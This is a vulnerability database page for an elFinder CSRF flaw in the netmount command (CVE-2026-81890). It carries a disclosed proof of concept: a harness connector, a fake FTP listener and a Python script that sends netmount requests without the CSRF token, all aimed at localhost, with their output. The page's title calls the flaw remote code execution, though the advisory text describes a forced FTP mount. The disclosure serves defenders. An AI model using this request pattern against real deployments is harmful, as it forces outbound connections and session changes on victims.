CVE-2026-81890: elFinder Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-9hjf-w35w-6vx2
CVSS 5.4
CWE-352
Published
Advisory Summary

CVE-2026-81890 is a MODERATE (CVSS 5.4) remote code execution vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting elFinder libraries in the Packagist ecosystem. The issue involves csrf in netmount allows forced ftp mounts and server-side ftp connections. Remediation is available by upgrading affected packages to version 2.1.70.

CVE-2026-81890 at a Glance

CVE Identifier CVE-2026-81890
GHSA Identifier GHSA-9hjf-w35w-6vx2
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product elFinder
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-81890

To remediate this vulnerability, upgrade all affected elFinder dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

studio-42/elfinder fixed: 2.1.70
Upgrade studio-42/elfinder to 2.1.70
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for studio-42/elfinder

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-81890, inspect your project dependencies for elFinder:

inspect dependencies for studio-42/elfinder

Analyze the terminal output to locate any version of elFinder in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.70), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In elFinder, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The PHP connector's CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require. This was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository's documented stable release `2.1.69` / API revision `2.1.69`. ### Details The connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list. `netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver's `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`. The documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`: ```php // // Enable FTP connector netmount elFinder::$netDrivers['ftp'] = 'FTP'; ``` The FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server. False-positive checks performed: - `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector's CSRF gate. - `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response. - The fake FTP server observed an inbound connection and FTP command sequence from the PHP process. - No custom application authentication, external service, public infrastructure, or destructive action was used. - Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials. Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration. ### PoC The following safe local reproduction uses only a disposable connector under `/tmp`, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems. 1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness: ```sh mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP' <?php error_reporting(E_ALL); require '/path/to/elFinder/php/autoload.php'; elFinder::$netDrivers['ftp'] = 'FTP'; function access($attr, $path, $data, $volume, $isDir, $relpath) { $basename = basename($path); return $basename[0] === '.' && strlen($relpath) !== 1 ? !($attr == 'read' || $attr == 'write') : null; } $opts = array( 'roots' => array( array( 'driver' => 'LocalFileSystem', 'path' => __DIR__ . '/files/', 'URL' => '/files/', 'trashHash' => 't1_Lw', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), array( 'id' => '1', 'driver' => 'Trash', 'path' => __DIR__ . '/files/.trash/', 'tmbURL' => '/files/.trash/.tmb/', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), ) ); $connector = new elFinderConnector(new elFinder($opts)); $connector->run(); PHP ``` 2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`: ```python #!/usr/bin/env python3 import socket, sys HOST = '127.0.0.1' PORT = int(sys.argv[1]) LOG = sys.argv[2] def log(line): with open(LOG, 'a', encoding='utf-8') as f: f.write(line + '\n') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(5) log(f'LISTEN {HOST}:{PORT}') while True: conn, addr = s.accept() with conn: log(f'CONNECT {addr[0]}:{addr[1]}') conn.sendall(b'220 fake ftp ready\r\n') while True: data = b'' while not data.endswith(b'\n'): chunk = conn.recv(1) if not chunk: log('CLOSE') break data += chunk if not data: break line = data.decode('latin-1', errors='replace').strip() log('CMD ' + line) cmd = line.split(' ', 1)[0].upper() if cmd == 'USER': conn.sendall(b'331 password required\r\n') elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n') elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n') elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n') elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n') elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n') elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n') elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n') elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n') elif cmd == 'QUIT': conn.sendall(b'221 bye\r\n') break else: conn.sendall(b'200 ok\r\n') ``` 3. Start the local services: ```sh php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log ``` 4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request: ```python import json, urllib.parse, urllib.request, urllib.error, http.cookiejar base = 'http://127.0.0.1:8765/connector.php' log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log' open(log, 'w', encoding='utf-8').close() cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) def request(params, timeout=12): url = base + '?' + urllib.parse.urlencode(params) try: with opener.open(url, timeout=timeout) as resp: return resp.status, resp.read().decode('utf-8', errors='replace') except urllib.error.HTTPError as e: return e.code, e.read().decode('utf-8', errors='replace') status, body = request({'cmd':'open','init':'1','target':'l1_Lw'}) opened = json.loads(body) target = opened.get('cwd', {}).get('hash', 'l1_Lw') print('OPEN_STATUS=' + str(status)) print('OPEN_HAS_CSRF=' + str('"csrf"' in body)) status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'}) print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status)) print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160]) status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''}) print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status)) print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body)) print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260]) print('FTP_LOG=') print(open(log, encoding='utf-8', errors='replace').read().strip()) ``` Observed output from the final local re-run in this environment: ```text OPEN_STATUS=200 OPEN_HAS_CSRF=True CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403 CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true} NETMOUNT_WITHOUT_CSRF_STATUS=200 NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1, FTP_LOG= CONNECT 127.0.0.1:37496 CMD USER anonymous CMD PASS CMD OPTS UTF8 ON CMD HELP CMD epsv4 off CMD PASV CMD CWD / CMD PWD CMD FEAT CMD MLST / CLOSE ``` The negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection. Cleanup: ```sh # Stop the two local server processes, then remove the disposable harness. rm -rf /tmp/elfinder-csrf-poc-claude ``` ### Impact An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker: - force the victim's elFinder session to persist an attacker-chosen FTP network volume; - cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port; - send attacker-supplied FTP username/password values to that endpoint; and - expose the victim's later file-manager UI to the mounted remote volume. The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path. The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session. ### Suggested remediation Require CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`. Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior. Suggested regression tests: - A request to `cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port>` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener. - The same request with the valid token from `cmd=open&init=1` should preserve intended behavior for authorized users. - `protocol=netunmount` should also reject missing/invalid CSRF tokens. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

CVE-2026-81890 Affected elFinder Versions

1 component(s)
Fixed Versions:
2.1.70
Product / Package Ecosystem Affected Versions Fixed Version
studio-42/elfinder
Packagist
< 2.1.70
2.1.70

References

Frequently Asked Questions

What is CVE-2026-81890?
CVE-2026-81890 is a security vulnerability in elFinder involving CSRF in netmount allows forced FTP mounts and server-side FTP connections under CWE-352: Cross-Site Request Forgery (CSRF).
Which elFinder versions are affected?
Affected versions include releases prior to 2.1.70 across affected packages: studio-42/elfinder.
What version fixes CVE-2026-81890?
Upgrading to 2.1.70 (or the latest patched release for your respective branch) resolves the vulnerability.
Is studio-42/elfinder affected?
Yes, studio-42/elfinder is affected in releases prior to 2.1.70. Upgrade your dependency to 2.1.70 or later.
What is the CVSS score of CVE-2026-81890?
CVE-2026-81890 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-81890?
CVE-2026-81890 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-81890?
Run the dependency tree command: 'inspect dependencies for studio-42/elfinder'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9hjf-w35w-6vx2",
  "modified" : "2026-09-02T14:37:36Z",
  "published" : "2026-09-02T14:37:36Z",
  "aliases" : [ "CVE-2026-81890" ],
  "summary" : "elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections",
  "details" : "### Summary\nThe PHP connector's CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require.\n\nThis was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository's documented stable release `2.1.69` / API revision `2.1.69`.\n\n### Details\nThe connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list.\n\n`netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver's `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`.\n\nThe documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`:\n\n```php\n// // Enable FTP connector netmount\nelFinder::$netDrivers['ftp'] = 'FTP';\n```\n\nThe FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.\n\nFalse-positive checks performed:\n\n- `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector's CSRF gate.\n- `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response.\n- The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.\n- No custom application authentication, external service, public infrastructure, or destructive action was used.\n- Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.\n\nCandidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.\n\n### PoC\nThe following safe local reproduction uses only a disposable connector under `/tmp`, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems.\n\n1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness:\n\n```sh\nmkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs\ncat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'\n<?php\nerror_reporting(E_ALL);\nrequire '/path/to/elFinder/php/autoload.php';\n\nelFinder::$netDrivers['ftp'] = 'FTP';\n\nfunction access($attr, $path, $data, $volume, $isDir, $relpath) {\n    $basename = basename($path);\n    return $basename[0] === '.' && strlen($relpath) !== 1\n        ? !($attr == 'read' || $attr == 'write')\n        : null;\n}\n\n$opts = array(\n    'roots' => array(\n        array(\n            'driver' => 'LocalFileSystem',\n            'path' => __DIR__ . '/files/',\n            'URL' => '/files/',\n            'trashHash' => 't1_Lw',\n            'uploadDeny' => array('all'),\n            'uploadAllow' => array('text/plain'),\n            'uploadOrder' => array('deny', 'allow'),\n            'accessControl' => 'access'\n        ),\n        array(\n            'id' => '1',\n            'driver' => 'Trash',\n            'path' => __DIR__ . '/files/.trash/',\n            'tmbURL' => '/files/.trash/.tmb/',\n            'uploadDeny' => array('all'),\n            'uploadAllow' => array('text/plain'),\n            'uploadOrder' => array('deny', 'allow'),\n            'accessControl' => 'access'\n        ),\n    )\n);\n\n$connector = new elFinderConnector(new elFinder($opts));\n$connector->run();\nPHP\n```\n\n2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`:\n\n```python\n#!/usr/bin/env python3\nimport socket, sys\nHOST = '127.0.0.1'\nPORT = int(sys.argv[1])\nLOG = sys.argv[2]\ndef log(line):\n    with open(LOG, 'a', encoding='utf-8') as f:\n        f.write(line + '\\n')\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind((HOST, PORT))\n    s.listen(5)\n    log(f'LISTEN {HOST}:{PORT}')\n    while True:\n        conn, addr = s.accept()\n        with conn:\n            log(f'CONNECT {addr[0]}:{addr[1]}')\n            conn.sendall(b'220 fake ftp ready\\r\\n')\n            while True:\n                data = b''\n                while not data.endswith(b'\\n'):\n                    chunk = conn.recv(1)\n                    if not chunk:\n                        log('CLOSE')\n                        break\n                    data += chunk\n                if not data:\n                    break\n                line = data.decode('latin-1', errors='replace').strip()\n                log('CMD ' + line)\n                cmd = line.split(' ', 1)[0].upper()\n                if cmd == 'USER': conn.sendall(b'331 password required\\r\\n')\n                elif cmd == 'PASS': conn.sendall(b'230 login ok\\r\\n')\n                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\\r\\n')\n                elif cmd == 'HELP': conn.sendall(b'214 fake help\\r\\n')\n                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\\r\\n')\n                elif cmd == 'PWD': conn.sendall(b'257 \"/\"\\r\\n')\n                elif cmd == 'FEAT': conn.sendall(b'211-Features\\r\\n MLST type*;size*;modify*;perm*;\\r\\n211 End\\r\\n')\n                elif cmd == 'MLST': conn.sendall(b'250-Listing /\\r\\n type=dir;size=0;modify=20260101000000;perm=el; /\\r\\n250 End\\r\\n')\n                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\\r\\n')\n                elif cmd == 'QUIT':\n                    conn.sendall(b'221 bye\\r\\n')\n                    break\n                else: conn.sendall(b'200 ok\\r\\n')\n```\n\n3. Start the local services:\n\n```sh\nphp -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www\npython3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log\n```\n\n4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request:\n\n```python\nimport json, urllib.parse, urllib.request, urllib.error, http.cookiejar\nbase = 'http://127.0.0.1:8765/connector.php'\nlog = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'\nopen(log, 'w', encoding='utf-8').close()\ncj = http.cookiejar.CookieJar()\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\ndef request(params, timeout=12):\n    url = base + '?' + urllib.parse.urlencode(params)\n    try:\n        with opener.open(url, timeout=timeout) as resp:\n            return resp.status, resp.read().decode('utf-8', errors='replace')\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode('utf-8', errors='replace')\nstatus, body = request({'cmd':'open','init':'1','target':'l1_Lw'})\nopened = json.loads(body)\ntarget = opened.get('cwd', {}).get('hash', 'l1_Lw')\nprint('OPEN_STATUS=' + str(status))\nprint('OPEN_HAS_CSRF=' + str('\"csrf\"' in body))\nstatus, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})\nprint('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))\nprint('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\\n', ' ')[:160])\nstatus, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})\nprint('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))\nprint('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('\"added\"' in body))\nprint('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\\n', ' ')[:260])\nprint('FTP_LOG=')\nprint(open(log, encoding='utf-8', errors='replace').read().strip())\n```\n\nObserved output from the final local re-run in this environment:\n\n```text\nOPEN_STATUS=200\nOPEN_HAS_CSRF=True\nCONTROL_MKDIR_WITHOUT_CSRF_STATUS=403\nCONTROL_MKDIR_WITHOUT_CSRF_BODY={\"error\":[\"errPerm\",\"Invalid request. Please reload.\"],\"csrfReload\":true}\nNETMOUNT_WITHOUT_CSRF_STATUS=200\nNETMOUNT_WITHOUT_CSRF_HAS_ADDED=True\nNETMOUNT_WITHOUT_CSRF_BODY={\"added\":[{\"mime\":\"directory\",\"size\":0,\"ts\":1767225600,\"read\":1,\"write\":0,\"locked\":1,\"hash\":\"fnm1_Lw\",\"name\":\"anonymous@127.0.0.1\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"self\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\nFTP_LOG=\nCONNECT 127.0.0.1:37496\nCMD USER anonymous\nCMD PASS\nCMD OPTS UTF8 ON\nCMD HELP\nCMD epsv4 off\nCMD PASV\nCMD CWD /\nCMD PWD\nCMD FEAT\nCMD MLST /\nCLOSE\n```\n\nThe negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection.\n\nCleanup:\n\n```sh\n# Stop the two local server processes, then remove the disposable harness.\nrm -rf /tmp/elfinder-csrf-poc-claude\n```\n\n### Impact\nAn attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker:\n\n- force the victim's elFinder session to persist an attacker-chosen FTP network volume;\n- cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;\n- send attacker-supplied FTP username/password values to that endpoint; and\n- expose the victim's later file-manager UI to the mounted remote volume.\n\nThe proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.\n\nThe impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.\n\n### Suggested remediation\nRequire CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`.\n\nAlso consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.\n\nSuggested regression tests:\n\n- A request to `cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port>` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener.\n- The same request with the valid token from `cmd=open&init=1` should preserve intended behavior for authorized users.\n- `protocol=netunmount` should also reject missing/invalid CSRF tokens.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "studio-42/elfinder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.70"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-81890"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Studio-42/elFinder"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Studio-42/elFinder/releases/tag/2.1.70"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-02T14:37:36Z",
    "nvd_published_at" : "2026-08-31T21:17:52Z"
  }
}